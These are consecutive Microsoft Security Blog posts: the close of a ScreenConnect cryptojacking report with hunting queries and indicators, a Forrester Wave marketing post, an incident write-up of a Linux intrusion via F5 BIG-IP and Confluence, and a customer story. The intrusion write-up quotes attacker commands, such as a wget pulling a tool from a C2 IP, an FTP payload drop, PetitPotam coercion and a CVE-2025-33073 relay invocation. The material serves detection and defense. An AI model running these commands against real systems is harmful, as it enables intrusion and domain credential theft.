Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.

Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  

Enable network protection in Microsoft Defender for Endpoint.

Turn on web protection in Microsoft Defender for Endpoint.

Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Remind employees that enterprise or workplace credentials should not be stored in browsers or password vaults secured with personal credentials. Organizations can turn off password syncing in browser on managed devices using Group Policy.

Turn on the following attack surface reduction rule to block or audit activity associated with this threat:

Block executable files from running unless they meet a prevalence, age, or trusted list criterion(GUID: 01443614-cd74-433a-b99e-2ecdc07bfc25)

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Tactic Observed activity Microsoft Defender coverageExecution  Unusual ScreenConnect service creation activity
 

Suspicious service launched (endpoint detection and response – EDR)
 


Malicious DLL sideloading linked to autorun.dllAn executable file loaded an unexpected DLL file (EDR)ScreenConnect Installation activity Suspicious behaviour by msiexec.exe (EDR)Defender detection of crypto mining framework binaryTrojan:MSIL/CoinMiner!MS(AV)MDAV detection of suspicious DLLHackTool:Win64/Malgent!MSR(AV)PersistenceScheduled task creation activity associated with malicious binarySuspicious Task Scheduler activityMalicious ASEP linked with malicious binary executionAnomaly detected in ASEP registrySuspicious .LNK file in startup folderAn uncommon file was created and added to startup folderDefense Evasion   Antivirus exclusion added by malicious binarySuspicious  Defender Antivirus exclusion
Modification attempt in Microsoft Defender Antivirus exclusion listAn uncommon file was created and added to startup folderProcess hollowing activity to malicious binaryA process was injected with potentially malicious code  Command and controlAttacker executing malicious commands via ScreenConnectSuspicious command execution via ScreenConnect   Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender or Microsoft Sentinel.

Advanced hunting

Suspicious binary execution from unusual directory

This query searches for suspicious RunTimeHost.exe from a specific directory. Executions from this directory are often linked to the relevant campaign.

// DeviceProcessEvents | where Timestamp > ago(30d) | where FileName =~ "RuntimeHost.exe" or InitiatingProcessFileName =~ "RuntimeHost.exe" | where (FolderPath has @"\Caches\D3F4E2A1") or (InitiatingProcessFolderPath has @"\Caches\D3F4E2A1") | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, ProcessCommandLine, ParentProcess = InitiatingProcessFileName, ParentProcessPath = InitiatingProcessFolderPath, ParentProcessCmd = InitiatingProcessCommandLine, AccountName

Suspicious scheduled task creation activity

This query looks for suspicious scheduled task creation activity with task names often associated with this cryptojacking campaign.

//Run the below query to identify events linked to the suspicious scheduled task creation activity DeviceProcessEvents | where Timestamp > ago(30d) | where FileName =~ "schtasks.exe" | where ProcessCommandLine has "/create" | where ProcessCommandLine has_any ( "Windows System Health Monitor", "Windows System Health" ) | project Timestamp, DeviceId, DeviceName, AccountName, TaskCreationCmd = ProcessCommandLine, ParentProcess = InitiatingProcessFileName, ParentProcessPath = InitiatingProcessFolderPath, ParentProcessCmd = InitiatingProcessCommandLine

Suspicious MSIEXEC activity associated with a binary loading a suspicious DLL

This query looks for a process loading a suspicious DLL named ‘autorun.dll’ followed by unusual MSIEXEC activity from the same binary.

let SideloadingProcesses = DeviceImageLoadEvents | where Timestamp > ago(60d) | where FileName =~ "autorun.dll" | where InitiatingProcessFolderPath has_any ( @"\Downloads\", @"\AppData\Local\Temp\", @"\AppData\Roaming\", @"\ProgramData\", @"\Users\Public\",@"\Desktop\" ) |where FolderPath has @"\sources\" | project SideloadTime = Timestamp, DeviceId, DeviceName, LauncherProcessId = InitiatingProcessId, LauncherCreationTime = InitiatingProcessCreationTime, LauncherName = InitiatingProcessFileName, LauncherPath = InitiatingProcessFolderPath, SideloadedDllPath = FolderPath; let unique_devices=SideloadingProcesses|distinct DeviceId; let MsiSpawns = DeviceProcessEvents | where Timestamp > ago(60d) |where DeviceId in(unique_devices) | where FileName =~ "msiexec.exe" | where ProcessCommandLine has "/i" | where ProcessCommandLine has "/quiet" | project MsiSpawnTime = Timestamp, DeviceId, LauncherProcessId = InitiatingProcessId, LauncherCreationTime = InitiatingProcessCreationTime, MsiCmd = ProcessCommandLine, MsiProcessId = ProcessId ; SideloadingProcesses | join kind=inner MsiSpawns on DeviceId, LauncherProcessId, LauncherCreationTime | where MsiSpawnTime between (SideloadTime .. (SideloadTime + 30m)) | project SideloadTime, MsiSpawnTime, DeviceId, DeviceName, LauncherName, LauncherPath, LauncherProcessId, SideloadedDllPath, MsiCmd, MsiProcessId Indicators of compromise (IOC) IndicatorTypeDescriptiondirect-download[.]gleeze[.]com
start-download[.]gleeze[.]com
direct-downloads[.]giize.com
free-download[.]giize.com    DomainHosts malicious ZIP filesdirectdownload[.]icuDomainHost that ScreenConnect client connects to16562974deec80e41ef57a71a6de8c03ceb393005fb1432f8d9d82c61294ef8cSHA256autorun.dll loaded by legit EXE via DLL sideloading1b2555b09ac62164638f47c8272beb6b0f97186e37d3a54cb84c723ff7a2eee5SHA256autorun.dll loaded by legit EXE via DLL sideloading062bb28765fbaa11f8cc341fa16e2c7f942a122d929cb41f4a0f755b4429f246SHA256autorun.dll loaded by legit EXE via DLL sideloadingc7425fbe6c3a4937934215c54027d4b67202d12ab490682fae03498870d66d06SHA256autorun.dll loaded by legit EXE via DLL sideloadinga460d00ef93c8ce70d32e48e55781af66a53328fc2dde45519be196c265de074SHA256autorun.dll loaded by legit EXE via DLL sideloadingdb2d33c4e6e4a5c2263b56e8303c343305a94dde1fc2968304ba260acbbd9f9fSHA256autorun.dll loaded by legit EXE via DLL sideloadingcf3f8160eb5a5580e0c35054847e3ac4d01e9fe74fab8bc12bf6e8a40bf696b2SHA256autorun.dll loaded by legit EXE via DLL sideloading69077fcf940fc5852fb32beed15636756ebc04ac971b7ed71d36251e7ea70a20SHA256autorun.dll loaded by legit EXE via DLL sideloading2ee93ccbcd49ed94c65dcf52e7dcb8f0fa0a443ca24c0e0c7f79152efba657b7SHA256autorun.dll loaded by legit EXE via DLL sideloading193.42.11[.]108IP addressScreenConnect client communicates to this attacker controlled IP9ff07c9fafa9c03fdf69e4abf6806aa7c938b5480e7e258f227db0719ecd6386SHA256SimpleRunPE.exe binary transferred by the attacker to the device during established ScreenConnect session7035c2abeb617e828dfda1b119b8544fa9ae15a1d263d18bc5506acaf381f496SHA256SimpleRunPE.exe binary transferred by the attacker to the device during established ScreenConnect sessione021662a652ba95c8778b991056696ab3c9b0f60d5e23b1e6cf73c3847db6610SHA256ScreenConnect file masquerading as a DLLwss[:]//minemine.gleeze[.]com:8443/wsURLC2 from hollowed binary References

• SEO Poisoning Attack Uses Microsoft Binary to Install RMM Tool
• Watermwo/Simple-RunPE-Process-Hollowing: The RunPE program is written in C# to execute a specific executable file within another files memory using the ProcessHollowing technique.

This research is provided by Microsoft Defender Security Research with contributions from Parasharan Raghavan and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 

The post From poisoned search results to GPU mining: A cryptojacking campaign abusing ScreenConnect and Microsoft .NET utilities appeared first on Microsoft Security Blog.

Identity is the backbone of modern cybersecurity. Every access decision carries risk, across employees, partners, devices, workloads, and an expanding set of AI-powered agents.

But most organizations are still operating across disparate systems. Identity signals are captured in one place, access policies enforced in another, and response workflows managed separately. That fragmentation slows decision-making, increases operational complexity, and creates gaps cyberattackers can exploit.

Customers are looking for an identity platform that meets their evolving needs. We’re pleased to share that Microsoft has been recognized as a Leader in The Forrester Wave™: Workforce Identity Security Platforms, Q2 2026, receiving the highest scores in both the current offering and strategy categories. We believe this recognition demonstrates the value that the Microsoft Entra product portfolio brings to our customers, which we are always striving to improve. This report also reflects a broader shift in the market. Identity is no longer just a checkpoint in the access flow. It has become the primary way organizations manage risk across environments.

Explore Microsoft Entra identity and access solutions Figure 1. The Forrester Wave™: Workforce Identity Security Platforms, Q2 2026.

Forrester’s research highlights the need for strong identity foundations, actionable intelligence, and support for emerging AI-powered scenarios. As identity surfaces expand and cyberthreats grow more dynamic, organizations need a model that connects signals, enforces policy consistently, and drives response in real time. Without that continuity, security remains reactive and incomplete.

This is especially important as identity continues to be one of the most targeted attack surfaces, with credential-based attacks still dominating. Securing access requires more than stronger authentication. It requires bringing identity, access, and response into a unified system.

Read the full Forrester Wave report Why this recognition matters now

As AI expands the number of identities and accelerates the pace of change, organizations need approaches that simplify how identity is managed while strengthening how risk is controlled. That means moving beyond disconnected tools toward systems that are integrated by design.

The priorities highlighted by Forrester in their report reflect this reality. They also align with Microsoft’s focus on delivering a comprehensive strategy based on Zero Trust principles, using AI in the flow of work, and extending identity and access controls to AI agents. Forrester noted Microsoft strengths in identity threat detection and response (ITDR), access control, phishing-resistant authentication, and identity verification. These capabilities are essential for organizations to stay ahead of evolving cyberthreats and improve their identity security posture continuously. Microsoft is focused on helping customers reap the benefits of a unified system that extends governance, visibility, and control across all identities.

AI is accelerating identity complexity

AI is reshaping the identity landscape. It is increasing both the number of identities and the speed at which they operate.

In addition to human users, organizations now need to manage AI agents and other non-human identities. These identities require authentication, authorization, lifecycle management, and governance. They operate at machine speed and interact with systems in ways traditional identity models were not designed to handle. At this scale, static policies and disconnected systems fall short. Organizations need continuous enforcement driven by real-time signals.

Treating AI-powered identities as core participants in an identity strategy enables organizations to extend governance, visibility, and control as their environments evolve. This is not an incremental change. It is a structural shift in how identity must be managed.

Evolving your identity and access approach

Identity and access should be an integrated system rather than a collection of tools, for human and non-human identities. An Access Fabric brings together identity signals, access policies, and security workflows into a continuous loop. Signals inform decisions. Decisions trigger enforcement. Enforcement drives response.

This model enables organizations to move beyond static, point-in-time checks to continuous, context-aware access decisions across environments.

With Microsoft Entra, organizations can apply consistent access policies to any identity across Microsoft cloud, on-premises, and third-party applications, helping reduce fragmentation while improving visibility and control.

By bringing signals, policy enforcement, and response together, Microsoft Entra helps organizations move from reactive identity management to continuous risk evaluation and control.

Learn more

Learn more about Microsoft Entra solutions. Bookmark the Microsoft Entra blog to keep up with our expert coverage on workforce identity matters.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

Read the Forrester Wave™: Workforce Identity Security Platforms, Q2 2026

Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here . 

The post Microsoft recognized as a Leader in The Forrester Wave™ for Workforce Identity Security Platforms appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
   1. Initial access: Exploiting edge appliances
   2. Discovery and reconnaissance
   3. Lateral movement and identity compromise
2. Mitigation and protection guidance
   1. Microsoft Defender XDR detections
   2. Advanced hunting
   3. Indicators of compromise (IOC)
   4. MITRE ATT&CK techniques observed
3. References
4. Learn more

A growing trend in modern intrusions is the compromise of internet-facing edge appliances such as firewalls and VPN gateways. Systems traditionally deployed as security boundaries are increasingly becoming initial access points due to the continued discovery and exploitation of critical vulnerabilities.

Because these devices are externally exposed, lightly monitored, and highly trusted inside enterprise environments, compromise can provide a durable foothold with limited visibility. Edge appliances often store credentials, certificates, session material, authentication tokens, and identity integrations with directories, cloud services, and identity providers. Once compromised, these trust relationships can enable lateral movement that bypasses traditional security controls.

In this incident, the threat actor compromised an internet-facing firewall appliance and used trusted relationships to pivot to an internal Linux host. From there, the threat actor compromised a vulnerable SaaS application and leveraged its credentials to conduct relay-style authentication attacks against Active Directory.

This incident reflects a broader shift toward identity-centric, multi-domain attack chains that span network infrastructure, endpoints, SaaS platforms, cloud workloads, and identity systems. Organizations should treat edge devices, non-Windows systems, and cloud identities as security-critical assets, prioritize monitoring across these environments, and use attack path analysis to identify where threat actors are most likely to establish initial access.

Attack chain overview Figure 1. Multi-stage Linux intrusion via F5 and Confluence – Attack flow. Figure 2. Multi-stage Linux intrusion via F5 and Confluence – Threat actor activities. Initial access: Exploiting edge appliances

The threat actor established SSH access to the first Linux host from a network device identified as an F5 BIG-IP load balancer. Device inventory confirmed the source as an Azure-hosted appliance running version 15.1.201000. This is a specific BIG-IP Virtual Edition (VE) image version deployed primarily in cloud environments and commonly used in Azure ARM templates and Terraform modules for deploying F5 BIG-IP instances. This version of BIG-IP reached end-of-life (EOL) on December 31, 2024. Retiring deprecated firewalls is a security imperative, as unsupported hardware might leave the network exposed to modern threats.

This aligns with a broader pattern observed in recent high‑impact incidents, where internet‑facing edge devices such as routers, firewalls, and gateways are compromised through N‑day vulnerabilities. Operational constraints, including the availability of maintenance windows, could delay the installation of software updates for these appliances. When such devices are compromised, threat actors might be able to abuse or extract embedded trusted identities, enabling lateral movement that can bypass traditional perimeter and endpoint‑focused controls.

In this incident, the threat actor authenticated to a Linux server over SSH using a privileged account. The threat actor maintained this level of access throughout the observed activity without establishing explicit persistence mechanisms, underscoring the risk posed by over-privileged identities with sudo rights. The threat actor maintained sustained hands-on keyboard access throughout the attack, directly executing actions during the SSH session.

Discovery and reconnaissance

The threat actor performed extensive reconnaissance of the host and network, including file enumeration, network scanning, and service discovery. They aggressively scanned the internal network subnets with Nmap to identify connected hosts, and then used Nmap on the identified hosts to detect open services. This execution was automated using a shell script. The threat actor performed a horizontal scan to identify connected assets, and then performed a more thorough vertical scan using the results from the first scan.

The threat actor used gowitness to perform a detailed reconnaissance of the HTTP/HTTPS services identified in the previous scan.

gowitness scan nmap -f $i --write-db --write-screenshots --screenshot-path ./screenshots --screenshot-fullpage --open-only --service-contains http --delay 5 --threads 1 --chrome-proxy socks5://127.0.0.1:9090

Where they identified Windows servers, the threat actor tried common NTLM-based lateral movement techniques using the following open-source tools:

• enum4linux
• netexec
• nmbclient
• smbclient
• rpcclient
• timeroast
• ldapsearch
• kerbrute
• nxc
• responder

These initial attempts were unsuccessful.

The threat actor then downloaded a custom scanning tool from 206.189.27[.]39 using wget:

wget http://206.189.27[.]39:8888/5

The scanning tool file was detected as HackTool:Linux/MalPack.B. The tool performed reconnaissance of the organization’s web infrastructure. The organization uses multiple web applications and mobile services (for example, Firebase and GCM). The reconnaissance tool attempted to connect to the applications and services that the compromised Linux server interacts with, most likely to enumerate and identify access controls.

Lateral movement and identity compromise

During reconnaissance, the threat actor identified an Atlassian Confluence server within the network with unpatched vulnerabilities and leveraged these vulnerabilities to execute code remotely. Due to better hardening as a result of RTP being turned on, the threat actor used the initial Linux host as a staging server and had to try multiple ways of dropping the payload into the target Confluence server. Each time they dropped the payload onto the host, it was blocked. Assuming network-level blocking, the threat actor set up an FTP server on the initial Linux host using Python’s ftplib module to transfer the custom scanning tool to the Confluence server.

curl -o /dev/shm/ag ftp://anonymous:anonymous@[REDACTED_LOCAL_IP]/5

After compromising the Confluence server, the threat actor obtained credentials and used them to attempt authentication against Windows infrastructure from the following files:

• /opt/atlassian/confluence/conf/server.xml
• /var/atlassian/application-data/confluence/confluence.cfg.xml

This was followed by Kerberos relay attacks and exploitation of CVE-2025-33073, highlighting the risk of credential theft from internal web applications and the importance of monitoring cross-system authentication events.

nxc smb [REDACTED_IP] -d [REDACTED_DOMAIN].com -u Jiraservices -p '********* -M coerce_plus -o M=PetitPotam L="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" python3 CVE-2025-33073.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** --attacker-ip [REDACTED_IP] --dns-ip [REDACTED_IP] --dc-fqdn [REDACTED_HOSTNAME].[REDACTED_DOMAIN].com --target [REDACTED_HOST] --target-ip [REDACTED_IP] python3 dnstool.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** [REDACTED_HOST].[REDACTED_DOMAIN].com -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d [REDACTED_IP] -dns-ip [REDACTED_IP]

The threat actor used testssl to probe for SSL/TLS weaknesses, indicating an attempt to identify downgrade paths and protocol misconfigurations.

This incident vividly demonstrates that vulnerable applications don’t need to be directly exposed to the internet to result in high severity compromises. Once an initial foothold is established, threat actors can pivot laterally and target internally accessible services to escalate privileges, expand access, or deploy tooling deeper into the environment.

In cloud and hybrid deployments, this risk is amplified by the implicit-trust boundaries between applications and services, where authenticated identity, network locality, and service-to-service trust can be abused. As a result, unpatched internal applications, particularly those running with elevated permissions or trusted identities, represent a critical attack surface and can materially impact the overall security posture of the environment.

From initial access to the final stage, the threat actor was systematically probing the tenant and experimenting with multiple techniques to expand access. During this phase, they identified and abused several assets that ultimately provided elevated privileges, illustrating that threat actors don’t need advanced sophistication to be effective – only time, persistence, and the presence of exploitable security gaps across the environment.

This intrusion demonstrates how a single remote code execution vulnerability in a perimeter-facing web component can ultimately cascade into identity compromise in a completely separate application, crossing platform and trust boundaries. Even in environments with hardened Windows systems, insufficient monitoring and delayed patching across a hybrid estate can result in trusted identities and internal application relationships being abused. The breadth of techniques employed by the threat actor and their repeated hands-on keyboard activity, including attempts to further compromise a domain controller, underscore the reality that determined threat actors will systematically pursue all available paths until a viable route to full-tenant compromise is achieved.

Mitigation and protection guidance

Treat internet-facing edge appliances as Tier-0 assets and enforce lifecycle + patch governance.

In this intrusion, the initial foothold came from an end-of-life F5 BIG-IP version. Organizations should maintain an accurate inventory of externally exposed appliances, track end-of-support dates, and operationalize rapid patching for known-exploited vulnerabilities. Where immediate patching isn’t feasible, compensating controls should be applied, such as restricting management-plane exposure, reducing permitted source IP ranges, and increasing telemetry and alerting for anomalous administrative access.

Harden and patch internal web applications with the same urgency as internet-facing services.

Although Confluence was not exposed externally, an unpatched internal service still enabled remote code execution once the threat actor had network access. Critical internal applications (like Confluence) should be patched and monitored even if they have no direct internet exposure, because they often hold sensitive information and become reachable from outside the network after a threat actor gains any internal foothold. Treat internal applications as part of your critical attack surface: regularly look for known vulnerabilities and apply security updates quickly.

Apply identity hardening to reduce the feasibility and blast radius of relay-style authentication attacks.

After credential theft, the threat actor attempted Kerberos relay and other Windows authentication abuse against domain infrastructure. Defensive measures include minimizing or disabling NTLM where possible, enforcing SMB signing, enabling LDAP signing and channel binding, and using Extended Protection for Authentication (EPA) on applicable services to bind authentication to the channel and reduce relay success. Combine these controls with a tiered administration model (separate admin accounts and no reuse of privileged credentials on lower-trust hosts) to prevent a single-application credential compromise from leading to domain compromise.

Help prevent implant execution and common lateral movement tooling with Microsoft Defender in block mode.

This intrusion involved custom ELF payloads and commodity tooling, including network scanners, tunneling/backdoor binaries, and NTLM/Kerberos-focused utilities, all of which rely on successful execution on Linux hosts. In the environment where this intrusion occurred, real-time protection was only enabled on one machine, and on that host it blocked the attempted execution. To reduce dwell time and help prevent follow-on lateral movement, enable Defender prevention capabilities consistently across Linux servers.

Microsoft Defender XDR detections Tactic   Observed activity   Microsoft Defender coverage   Initial access, ExecutionThreat actor logs in through SSH and drops an ELF binaryMicrosoft Defender for Endpoint 
Executable permission added to file or directory Suspicious file dropped and launched HackTool:Linux/MalPack.B (Blocked on Confluence server)  DiscoveryThreat actor enumerated files on the Linux system and performed network scanning, access of Confluence credentialsMicrosoft Defender for Endpoint
Enumeration of files with sensitive data Suspicious script launchedLateral movementThreat actor performed remote code execution on a Confluence server identified through network scanning in the same network  Microsoft Defender for Endpoint 
Suspicious process executed by a network service Suspicious remote command execution via Java web application Suspicious piped command launchedPrivilege escalationThreat actor performed relay attacks against the domain controllerMicrosoft Defender for Endpoint 
Authentication coercion attack HackTool:Linux/Kerbrute!rfn Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat: 

• Incident investigation 
• Microsoft User analysis 
• Threat actor profile 
• Threat Intelligence 360 report based on MDTI article 
• Vulnerability impact assessment 

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.   

Advanced hunting

SSH login from F5 BIG-IP device

let lookback = 7d; let dhcpTolerance = 2h; // Tolerance for DHCP IP address changes let FilteredDevices = DeviceInfo | where Timestamp > ago(lookback) | where Vendor == "F5" | where OSVersion == "15.1.201000" | extend SourceDeviceId = DeviceId | summarize by SourceDeviceId; let DeviceIpSnapshots = DeviceNetworkInfo | where Timestamp > ago(lookback) | where isnotempty(IPAddresses) | extend IPAddresses = todynamic(IPAddresses) | mv-expand ip = IPAddresses | extend IPAddress = tostring(ip.IPAddress) | where isnotempty(IPAddress) | project SourceDeviceId = DeviceId, SourceIPAddress = IPAddress, SourceIpTimestamp = Timestamp | join kind=inner FilteredDevices on SourceDeviceId; DeviceLogonEvents | where Timestamp > ago(lookback) | where ActionType == "LogonSuccess" | where isnotempty(RemoteIP) | project LogonTimestamp = Timestamp, DestinationDeviceId = DeviceId, RemoteIP, AccountName, InitiatingProcessFileName | join kind=inner ( DeviceIpSnapshots ) on $left.RemoteIP == $right.SourceIPAddress | where LogonTimestamp between ((SourceIpTimestamp - dhcpTolerance) .. (SourceIpTimestamp + dhcpTolerance)) | extend IpAssignmentToLogonDeltaSeconds = abs(datetime_diff("second", LogonTimestamp, SourceIpTimestamp)) | summarize arg_min(IpAssignmentToLogonDeltaSeconds, *) by LogonTimestamp, RemoteIP, DestinationDeviceId | project LogonTimestamp, SourceDeviceId, DestinationDeviceId, RemoteIP, SourceIpTimestamp, IpAssignmentToLogonDeltaSeconds, AccountName, InitiatingProcessFileName | order by LogonTimestamp desc

Credential discovery from Confluence

let lookback = 7d; DeviceProcessEvents | where Timestamp > ago(lookback) | where InitiatingProcessFileName == "java" | where InitiatingProcessCommandLine has_all ("/bin/java -Djava", " -classpath /opt/atlassian/confluence/bin/bootstrap.jar") | where (FileName == "cat" and ProcessCommandLine has_any ("server.xml", "confluence.cfg.xml" , "setenv.sh"))

Payload delivery through compromised Confluence server

let lookback = 7d; DeviceProcessEvents | where Timestamp > ago(lookback) | where InitiatingProcessFileName == "java" | where InitiatingProcessCommandLine has_all ("/bin/java -Djava", " -classpath /opt/atlassian/confluence/bin/bootstrap.jar") | where ProcessCommandLine has_any ("chmod 777 /dev/shm", "chmod 777 /tmp" , "base64 -d > /dev/shm", "curl -o /dev/shm/", "curl -o /tmp/") Indicators of compromise (IOC) IndicatorTypeDescription4a927d031919fd6bd88d3c8a917214b54bca00f8ddc80ecfe4d230663dda7465File hashCustom scanning toolb4592cea69699b2c0737d4e19cff7dca17b5baf5a238cd6da950a37e9986f216File hashShell script to automate network scanning using Nmap710a9d2653c8bd3689e451778dab9daec0de4c4c75f900788ccf23ef254b122aFile hashKerbrute tool57b3188e24782c27fdf72493ce599537efd3187d03b80f8afe733c72d68c5517File hashgowitness scannerbdd5da81ac34d9faa2a5118d4ed8f492239734be02146cd24a0e34270a48a455File hashNTLM relay Python script206.189.27[.]39IPv4 addressC2 server MITRE ATT&CK techniques observed

This campaign exhibited the following MITRE ATT&CK techniques across multiple tactics. For detailed detection and prevention capabilities, see the Microsoft Defender XDR detections section above.

TacticTechnique IDTechnique nameHow it presents in this campaignLateral MovementT1021.004Remote Services: SSHThreat actor used SSH to access the Linux host through the compromised firewallExecutionT1059.004Command and Scripting Interpreter: Unix ShellThreat actor performed hands-on keyboard activity though SSH and used shell script to automate network scanning and discovery of web services. Most of the lateral movement tools were open source/publicly available Python scriptsT1059.006Command and Scripting Interpreter: PythonDiscoveryT1043Commonly Used PortThreat actor performed network scanning using Nmap, used ls and find commands to discover files on the Linux hostsT1083File and Directory DiscoveryCollectionT1005Data from Local SystemThe threat actor stored the results of the scan on the system. This along with other files in the system was exfiltrated through SSHCommand and ControlT1071Application Layer ProtocolTool transfer through wget (backdoor and kerbrute)T1105Ingress Tool TransferDefense EvasionT1222.002File and Directory Permissions Modification: Linux and Mac File PermissionsExecutable permission added to ELF binariesInitial AccessT1190Exploit Public-Facing ApplicationLateral movement to Confluence server through RCE in Java web applicationPersistenceT1505Server Software ComponentPersistent access to the Confluence web server through web shellDefense Evasion; Persistence; Privilege EscalationT1078.002Valid Accounts: Domain AccountsUsed the domain credentials of the Confluence server for subsequent attacksCredential AccessT1187Forced AuthenticationThreat actor targeted domain controller through NTLM relay attacks.T1557Adversary-in-the-Middle References

• BIG-IP APM vulnerability CVE-2025-53521 https://my.f5.com/manage/s/article/K000156741
• CISA Adds CVE-2025-53521 to KEV After Active F5 BIG-IP APM Exploitation  https://thehackernews.com/2026/03/cisa-adds-cve-2025-53521-to-kev-after.html
• Cisco Firewall and VPN Zero Day Attacks  https://www.zscaler.com/blogs/security-research/cisco-firewall-and-vpn-zero-day-attacks-cve-2025-20333-and-cve-2025-20362
• Exploitation of Palo Alto firewall devices https://www.darktrace.com/blog/darktraces-view-on-operation-lunar-peek-exploitation-of-palo-alto-firewall-devices-cve-2024-2012-and-2024-9474

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 

The post From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence appeared first on Microsoft Security Blog.

AI is reshaping how work gets done—and how risks emerge across cloud, data, identity, and more. Many organizations want AI-powered productivity, but their security foundations aren’t yet built for it. As organizations move toward AI-powered operating models, security becomes the critical enabler to allow innovation to scale responsibly. In this new era of agentic AI,1 protections can’t be layered on after the fact; they must be built into the fabric of how AI systems are developed, governed, and used—grounded in strong cloud security posture, clear data governance, and Zero Trust principles that assume breach and verify continuously.  We’re sharing two customer spotlights that explore how global organizations are putting that approach into practice.

Why security has become a strategic enabler for AI‑powered growth 

These customer stories highlight how security is no longer a supporting function—it’s a strategic enabler of growth, speed, and trust. As AI accelerates decision-making and reshapes how work gets done, leaders must modernize without increasing risk or slowing the business. The experiences of these forward-looking organizations reflect the realities many companies face: gaining consistent visibility across complex environments, moving faster while maintaining trust, meeting governance and compliance expectations that expand with AI adoption, and driving operational efficiency through automation. These examples will show how the right security foundation allows organizations to scale AI with confidence—turning protection into a competitive advantage, not a constraint.  

First, we’ll take a closer look at St. Luke’s University Health Network. 

How St. Luke’s is accelerating efficiency and threat response with AI 

St. Luke’s identified a critical gap in unified, real-time visibility across its security tools, limiting its ability to detect and stop threats early. The organization needed a way to see across their entire landscape and respond to threats as they emerge. To modernize and unify security operations, St. Luke’s turned to Microsoft Security Copilot to supercharge analyst productivity and help its Security Operations Center (SOC) teams operate at scale. 

Learn more about Microsoft Security Copilot

By connecting Microsoft Defender and Microsoft Sentinel, St. Luke’s gains a single, AI-powered view across endpoints, identity, email, and cloud workloads—helping analysts move faster, correlate cyberthreats more effectively, and shift from reactive response to proactive, predictive defense. With AI embedded directly into daily workflows, teams can identify risks in real time, uncover gaps in visibility, and make more informed decisions with greater precision.

Streamlining workflows and automating protection

At the same time, Security Copilot agents are transforming how the SOC operates by automating time-consuming tasks like alert triage and vulnerability remediation. This reduces noise, accelerates investigations, and frees analysts to focus on real threats and strategic work. The result is a more efficient, collaborative, and resilient security operation built for today’s increasingly complex threat landscape. With Microsoft Security Copilot, St. Luke’s has:

• Unified visibility across Defender and Microsoft Sentinel eliminates silos and accelerates threat response.
• AI-powered insights help analysts detect, investigate, and act on cyberthreats in real time.
• Security Copilot agents automating routine tasks, with Security Triage Agent saving up to 200 analyst hours each month.
• Advanced phishing triage reduces false positives and improves decision confidence.
• Centralized workflows improve collaboration, reporting speed, and overall SOC efficiency.

St. Luke’s sees its investment in Security Copilot as the foundation for a self-improving security ecosystem. AI-powered security means the team stays ahead of both technological and business changes, ensuring that St. Luke’s remains resilient in the face of evolving threats. To learn more about how St. Luke’s is modernizing and unifying security operations with Microsoft Security Copilot, watch the customer video or read the full St. Luke’s customer story.

